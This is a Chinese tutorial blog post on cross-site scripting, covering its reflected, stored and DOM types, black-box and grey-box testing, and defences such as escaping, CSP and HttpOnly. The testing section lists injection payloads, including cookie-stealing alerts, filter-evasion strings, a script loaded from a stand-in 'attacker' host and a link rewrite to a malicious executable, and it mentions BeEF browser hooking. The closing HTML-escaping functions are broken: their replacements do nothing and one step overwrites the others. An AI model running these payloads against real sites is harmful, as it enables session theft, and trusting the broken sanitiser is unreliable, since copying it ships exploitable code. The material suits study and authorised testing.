XSS又叫CSS (Cross Site Script) ,为了和css(层叠样式表)区分,我们通常称它为(xss)跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意的特殊目的。
xss是一种发生在web前端的漏洞,所以其危害的对象也主要是前端用户.在OWASP Web Application Top 10排行榜中长期霸榜,从未掉出过前三名。XSS这类安全问题发生的本质原因在于,浏览器错误的将攻击者提供的用户输入数据当做JavaScript脚本给执行了。
XSS有几种不同的分类办法,例如按照恶意输入的脚本是否在应用中存储,XSS被划分为“存储型XSS”和“反射型XSS”,如果按照是否和服务器有交互,又可以划分为“Server Side XSS”和“DOM based XSS”。
XSS攻击方法只是利用HTML的属性,作各种的尝试,找出注入的方法。现在对三种主要方式进行分析。
第一种:对普通的用户输入,页面原样输出,用户通过对JSCODE的伪装,经过一些操作就会跳出一个木马界面,取得登录用户的Cookie。
第二种:在代码区里有用户输入的内容,原则就是,代码区中,绝对不应含有用户输入的东西。
第三种:允许用户输入HTML标签的页面。
用户可以提交一些自定义的HTML代码,这种情况是最危险的。因为,IE浏览器默认采用的是UNICODE编码,HTML编码可以用&#ASCII方式来写,又可以使用”/”连接16进制字符串来写,使得过滤变得异常复杂
(1)窃取管理员帐号或Cookie,入侵者可以冒充管理员的身份登录后台。使得入侵者具有恶意操纵后台数据的能力,包括读取、更改、添加、删除一些信息。
(2)窃取用户的个人信息或者登录帐号,对网站的用户安全产生巨大的威胁。例如冒充用户身份进行各种操作。
(3)网站挂马。先将恶意攻击代码嵌入到Web应用程序之中。当用户浏览该挂马页面时,用户的计算机会被植入木马。
(4)发送广告或者垃圾信息。攻击者可以利用XSS漏洞植入广告,或者发送垃圾信息,严重影响到用户的正常使用。
(5)控制受害者机器向其它网站发起攻击
XSS可以分为三种:反射型XSS(非持久型)、存储型XSS(持久型)和DOM XSS。
反射型XSS
用户在请求某条URL地址的时候,会携带一部分数据。当客户端进行访问某条链接时,攻击者可以将恶意代码植入到URL,如果服务端未对URL携带的参数做判断或者过滤处理,直接返回响应页面,那么XSS攻击代码就会一起被传输到用户的浏览器,从而触发反射型XSS。
例如,当用户进行搜索时,返回结果通常会包括用户原始的搜索内容,如果攻击者精心构造包含XSS恶意代码的链接,诱导用户点击并成功执行后,用户的信息就可以被窃取,甚至可以模拟用户进行一些操作。它的利用过程如图所示。
反射型XSS不会永久存储用户的数据,仅发生在用户的一次访问过程之后。这个过程就像一次反射,因此得名反射型XSS。反射型XSS的触发条件比较苛刻,需要攻击者想方设法引导用户点击链接,但产生的危害不容忽视。
存储型XSS
存储型XSS和反射型XSS的差别仅在于,提交的代码会存储在服务器端(数据库、内存、文件系统等),下次请求目标页面时不用再提交XSS代码。最典型的例子就是留言板XSS,用户提交一条包含XSS代码的留言存储到数据库,目标用户查看留言板时,那些留言就会从数据库中加载出来并显示,于是出发了XSS攻击
DOM XSS
DOM XSS和反射型XSS、存储型XSS的区别在于DOM XSS代码并不需要服务器参与,出发XSS靠的是浏览器的DOM解析,完全是客户端的事情,文档型的 XSS 攻击并不会经过服务端,而是作为中间人的角色,在数据传输过程劫持到网络数据包,然后修改里面的 html 文档,这样的劫持方式包括WIFI路由器劫持或者本地恶意软件等。
明白了三种XSS攻击的原理,我们能发现一个共同点 都是:让恶意脚本直接能在浏览器中执行。那么要防范它,就是要避免这些脚本代码的执行。
简单来讲就是永远不要相信任何用户的输入!
无论是在前端和服务端,都要对用户的输入进行转码或者过滤。
当然也可以利用关键词过滤的方式,将 script 标签给删除。那么现在的内容只剩下:
什么也没有了:)
利用 CSP
CSP,即浏览器中的内容安全策略,它的核心思想就是服务器决定浏览器加载哪些资源,具体来说可以完成以下功能:
限制其他域下的资源加载。
禁止向其它域提交数据。
提供上报机制,能帮助我们及时发现 XSS 攻击。
利用 HttpOnly
很多 XSS 攻击脚本都是用来窃取Cookie, 而设置 Cookie 的 HttpOnly 属性后,JavaScript 便无法读取 Cookie 的值。这样也能很好的防范 XSS 攻击。
防御手册
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
自动检测dom缺陷的chrome插件 http://code.google.com/p/domsnitch/
**** XSS过滤绕过 请参考 https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet。 当网站应用清理输入、网站应用防火墙或浏览器内置的机制阻止恶意输入时,反射型xss就会被阻拦。但是测试者必须假定浏览器不会 阻拦这类攻击,比如版本陈旧、内置安全功能被禁用等,并测试所有可能的漏洞。类似的,网站防火墙不能保证识别新奇的、未知的攻击。 攻击者能构造防火墙无法识别的攻击字符串。 因此,防御xss攻击主要依赖网站应用清理不可信任的用户输入。有几种清理办法,比如返回错误、过滤或转义关键字。同时这些预防手段 也造就了另外一个弱点:黑名单不可能囊括所有可能的攻击字符串、白名单可能过渡授权,这时清理就会失败,导致某类输入被不正确的信任 并未被清理。 **** 攻击测试的例子 - http://example.com/index.php?user=<script>alert(123)</script> - http://example.com/index.php?user=<script>window.onload = function() {var AllLinks=document.getElementsByTagName("a"); AllLinks[0].href = "http://badexample.com/malicious.exe"; }</script> - 标签属性值 <input type="text" name="state" value="INPUT_FROM_USER"> " onfocus="alert(document.cookie) - 不同的语法或编码 "><ScRiPt>alert(document.cookie)</ScRiPt> "%3cscript%3ealert(document.cookie)%3c/script%3e - 非递归性过滤 <scr<script>ipt>alert(document.cookie)</script> - 绕过正则过滤 模式串 $re = "/<script[^>]+src/i"; 添加额外的属性,绕过 http://example/?var=<SCRIPT%20a=">"%20SRC="http://attacker/xss.js"></SCRIPT> - HTTP parameter pollution https://www.owasp.org/index.php/Testing_for_HTTP_Parameter_pollution_(OTG-INPVAL-004) http参数污染,查询字符串或表单提交的参数中某个同名参数出现了多次,apache等web服务器解析协议参数时的方式各异, 网站应用程序的各个组件所使用的参数值不一致。 ** 存储型XSS测试 *** 概述 存储型XSS是最危险的跨站脚本攻击。网站应用程序允许用户存储数据,这类网站就潜在的暴露在这类攻击面前。 当网站应用从用户那里搜集输入的数据,然后存储起来以备后用,但这些输入没有经过正确的过滤,结果恶意数据被做为网站 页面的一部分得以呈现,并运行在用户浏览器中且拥有网站应用程序所属用户的权限。 这种漏洞可以被用来实施基于浏览器的攻击: - 劫持用户浏览器 - 捕获用户所浏览的网站敏感信息 - 对内网主机进行端口扫描 - 基于浏览器利用的定向投递 存储型xss不需要利用恶意链接,用户访问某个加载了之前存储的xss代码的页面时就会触发。攻击场景一般有下面几个阶段: - 攻击者存储恶意代码到由漏洞的页面 - 用户通过应用程序的身份认证 - 用户访问漏洞页面 - 恶意代码被用户的浏览器执行 这类攻击可以结合浏览器利用框架比如beef、xss prox、backframe。这些框架允许复杂的脚本利用开发。 当访问漏洞页面的用户有比较高的权限时,这类攻击特别危险。比如当管理员访问漏洞页面时,这类攻击就自动被浏览器执行。 这就可能暴露敏感信息比如会话令牌。 *** 如何测试 **** 黑盒测试 识别存储型漏洞的过程和之前测试反射型漏洞类似。 ***** 输入表单 第一步是找出哪些地方的用户输入会被存储到后端并会被渲染显示在前端。典型的存储用户输入的地方有: - 用户|配置,网站应用允许用户修改个人配置详细信息,比如姓名、昵称、头像、地址等; - 购物篮, - 文件管理器,应用程序允许文件上传 - 应用程序偏好设置 - 论坛|消息面板,允许用户之间互相发送消息 - 博客,允许用户留言评论 - 日志,如果网站应用将某些用户的输入存进日志 ***** 分析HTML代码 用户输入被网站应用存储后,一般会在显示时当做html标签的属性值。这一步中,最根本的是去理解输入部分被渲染显示时, 在页面上下文中是怎么被安放的。所有可能被管理员看到的输入部分都需要被测试。 比如,后台用户管理中某个用户的详细信息,有邮件: <input class="inputbox" type="text" name="email" size="40" value="aaa@aa.com" /> 这时,可以在<input>标签后面注入恶意代码: <input class="inputbox" type="text" name="email" size="40" value="aaa@aa.com"> MALICIOUS CODE <!-- /> ***** 试验是否可以注入 这就涉及输入验证、后端的过滤规则。比如注入: aaa@aa.com"><script>alert(document.cookie)</script> aa@aa.com%22%3E%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E 为了保证注入的数据被提交,通常需要暂时禁用浏览器的js代码执行、或在本地代理的http编辑器中修改请求的原始数据。 但是提交后,可能被网站应用程序过滤,比如script被替换成了空格或者空串,这就是一个潜在的过滤信号,当然有很多规避 过滤的技术。 ***** 利用存储的注入代码 存储的恶意代码可以被高级js利用框架利用,比如beef、xss-proxy、backframe。 一个典型的beef利用场景涉及: - 注入一段js钩子代码,可以与攻击者的浏览器利用框架通信 - 等待网站用户访问漏洞页面 - 通过beef控制台控制网站用户的浏览器 beef可以访问用户的cookies、屏幕截图、剪贴板、以及发起更复杂的xss攻击。如果这个漏洞页面会被拥有不同权限的用户访问, 那么这个攻击是相当有效的。 ***** 文件上传 如果网站应用允许文件上传,需要检测下是否可以上传html内容。如果html或txt文件被允许,那么xss负载就可以被注入。 渗透测试人员应该验证是否这个上传点允许设置任意的MIME类型。这个设计缺陷允许浏览器的MIME误处理攻击。比如,看起来无害的 JPG和GIF文件包含xss负载,可能在被浏览器载入的时候得到执行。这个是可能的,当本应设置MIME为image/gif时却设置为text/html。 这种情况下,文件被客户端浏览器创建为HTML。 伪造POST请求: Content-Disposition: form-data; name="uploadfile1"; filename="C:\Documents and Settings\test\Desktop\test.gif" Content-Type: text/html <script>alert(document.cookie)</script> ** DOM型XSS测试 *** 概述 DOM型跨站脚本事实上是浏览器端的动态内容所引起的xss bug。典型的,比如js,获取用户输入并用它做了一些不安全的事情导致注入代码 被执行。本文只是讨论 js bug 所引起的xss漏洞。 DOM,全称为Document Object Model,是一种结构化的格式,被用来表达浏览器中的文档。DOM允许动态脚本,比如js,来引用文档中的 组件,比如表单字段、或会话令牌。DOM也被浏览器来实现安全策略,比如同源策略限制跨域DOM操作。当动态内容,比如js函数被一个构造的 请求修改,dom元素可以被攻击者控制,从而形成xss漏洞。 很少有这方面的论文发表,因此它的含义和正规测试方法几乎没有标准的定义。 *** 如何测试 不是所有的xss bug都需要攻击者去控制从服务器返回的动态页面,但是泛滥的愚蠢的js编码会导致同样的结果。 与其他类型的xss漏洞(服务器未清理用户提交的参数,回传给用户浏览器端并得到执行)相比,dom-xss 可以控制代码的执行流程。 大多数情况下,dom-xss可以在服务端不知情的情况下执行。比如: <script> document.write("Site is at: " + document.location.href + "."); </script> 攻击者追加#<script>alert('xss')</script>到页面的url后面,当执行时会弹窗。这个例子中,追加的代码不会被发送到服务端,因为# 后面的字符串根本没有被浏览器当做查询字符串的一部分,而是作为一个锚标记,因而无需和服务器取得联系。 dom-xss的攻击后果和其他更知名的xss攻击一样广泛,cookies获取、更进一步的恶意脚本注入,所以应该被划分到同样的严重等级。 **** 黑盒测试 dom-xss的黑盒测试是不必要的,因为前端的源码总是可见的,浏览器需要从服务端那获取并执行。 **** 灰盒测试 js应用程序和其他的应用程序有显著的区别,因为他们是由服务端动态产生的,为了理解什么代码正在被执行,测试者需要爬行站点来 判定正在被执行的脚本和哪些地方是接收用户输入的。许多站点依赖大量的库函数,伸展开后有成百上千行代码并且不是内部开发的。这种 情况下,自顶向下的测试常常是唯一可行的选择,因为许多底层的函数从没用到过,从中分析哪些是弱点耗费太多时间。对于自顶向下测试, 是否能识别哪些地方接收用户输入同样至关重要。 用户输入来源有两种形式: - 服务端动态写入,不允许直接的xss - 客户端脚本对象中获取的变量 下面是服务端插入数据到js脚本中的两个例子: var data = "<escaped data from the server>"; var result = someFunction("<escaped data from the server>"); 下面是从客户端js对象中获取输入的两个例子: var data = window.location; var result = someFunction(window.referer); 对于js代码来说,两种获取输入的方式基本没有差异,重要的是当从服务端获取输入时,服务端能对数据应用任何的排列组合, 然而js对象中获取的输入却很好理解。所以,如果上例中的js函数是弱点的话,前例中的漏洞利用依赖服务端的过滤,后例中的 利用依赖于浏览器对window.referer对象的编码。 参考 https://code.google.com/p/domxsswiki/wiki/LocationSources 另外,js脚本也常常会在script标签外部执行,过去许多的攻击向量都导致了xss攻击已经证实了这一点。所以,在爬行站点时, 留意诸如‘事件处理器’、‘带有expression属性的css语句块’等这些地方的代码是很重要的。 自动化测试在识别和验证dom-xss漏洞时是很弱的,因为他仅仅是发送特定的负载并尝试审查服务器响应的页面。这个可能在一些 简单的例子中工作得比较好,比如那些参数被反射回给用户的情况: <script> var pos=document.URL.indexOf("message=")+5; document.write(document.URL.substring(pos,document.URL.length)); </script> 但是下面不自然的例子无法被检测到: <script> var navAgt = navigator.userAgent; if (navAgt.indexOf("MSIE")!=-1) { document.write("You are using IE as a browser and visiting site: " + document.location.href + "."); } else { document.write("You are using an unknown browser."); } </script> 基于这样的原因,自动化测试通常无法检测dom-xss漏洞,除非测试工具能对客户端脚本执行额外的分析。 人工测试应该进行,检查某些代码区域,那些区域中的参数对攻击者而言是有用的。比如,代码被动态写到页面、dom树被修改、 甚至脚本被直接执行。参考 http://www.webappsec.org/projects/articles/071105.shtml
抵御XSS攻击,只需做到两点即可:
所有前端的页面渲染,尽量使用ajax异步进行,从后台获取要显示的数据。
前端提交过来的数据,在后台入口处统统对HTML中的关键字进行html编码转义。
做到上面方可基本无忧。
/* 1.用正则表达式实现html转码 */ htmlEncodeByRegExp(str) { let s = ''; if (str.length === 0) return ''; s = s.replace(/</g, '<'); s = s.replace(/>/g, '>'); s = str.replace(/&/g, '&'); s = s.replace(/ /g, ' '); s = s.replace(/\'/g, '''); //eslint-disable-line s = s.replace(/\"/g, '"'); //eslint-disable-line return s; }, /* 2.用正则表达式实现html解码 */ htmlDecodeByRegExp(str) { let s = ''; if (str.length === 0) return ''; s = s.replace(/</g, '<'); s = s.replace(/>/g, '>'); s = str.replace(/&/g, '&'); s = s.replace(/ /g, ' '); s = s.replace(/'/g, "\'"); //eslint-disable-line s = s.replace(/"/g, '"'); //eslint-disable-line return s; }, 可使用 he 组件 来进行转码
作者:padishah11
原文链接:https://blog.csdn.net/wb199811/article/details/108064994